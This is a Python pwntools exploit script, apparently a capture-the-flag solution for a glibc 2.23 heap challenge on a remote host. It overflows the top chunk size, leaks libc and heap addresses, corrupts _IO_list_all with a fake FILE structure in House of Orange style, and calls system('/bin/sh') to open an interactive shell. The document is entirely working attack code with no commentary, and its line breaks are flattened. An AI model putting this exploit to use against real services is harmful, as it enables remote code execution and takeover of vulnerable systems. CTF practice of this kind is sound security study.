from pwn import* from ctypes import *
io = remote("210.44.151.51",10202) elf = ELF("./pwn") context.terminal = ['tmux','splitw','-h']
libc = ELF("/home/chen/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context.arch = "amd64" context.log_level = "debug" def debug(): gdb.attach(io) pause()
def add(size,payload): io.recvuntil(">") io.sendline(b'1') io.recvuntil("Size :") io.sendline(str(size)) io.recvuntil("Content :") io.send(payload) def edit(index,size,payload): io.recvuntil(">") io.sendline(b'2') io.recvuntil("Index :") io.sendline(str(index)) io.recvuntil("Size :") io.sendline(str(size)) io.recvuntil("Content :") io.send(payload) def show(index): io.recvuntil(">") io.sendline(b'3') io.recvuntil("Index :") io.sendline(str(index))
add(0x30,b'aaaa') payload = cyclic(0x38)+p64(0xfc1) edit(0,len(payload),payload) add(0x1000,b'aaaa') add(0x40,b'1') show(2) libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x3c5131 success("libc_addr :"+hex(libc_addr)) payload = cyclic(0x48)+p64(0xf51)+p64(0)+p64(0x4040E0+0x40) edit(2,len(payload),payload)
add(0xf40,b'aaaa') show(10) io.recv() heap_addr = u64(io.recv(4).ljust(8,b'\x00'))-0x22010 success("heap_addr :"+hex(heap_addr)) system_addr = libc_addr + libc.sym['system'] payload = p64(heap_addr+0x22010)+p64(heap_addr+0x90)*3 edit(10,len(payload),payload) main_arena = libc_addr + 0x3c4b20+88 payload = cyclic(0x48)+p64(0xf51)+p64(main_arena)*2 edit(2,len(payload),payload) add(0x30,b'aaaa') IO_list_all = libc_addr + libc.sym['_IO_list_all'] payload = cyclic(0x30) fake_file = b'/bin/sh\x00'+p64(0x60) fake_file += p64(0)+p64(IO_list_all-0x10) fake_file += p64(0)+p64(1) fake_file = fake_file.ljust(0xc0,b'\x00') payload += fake_file + p64(0)*3+p64(heap_addr+0x1a8)+p64(0)*2+p64(system_addr) edit(4,len(payload),payload) io.recvuntil(">") io.sendline(b'1') io.recvuntil("Size :") io.sendline(str(0x30)) io.interactive()
|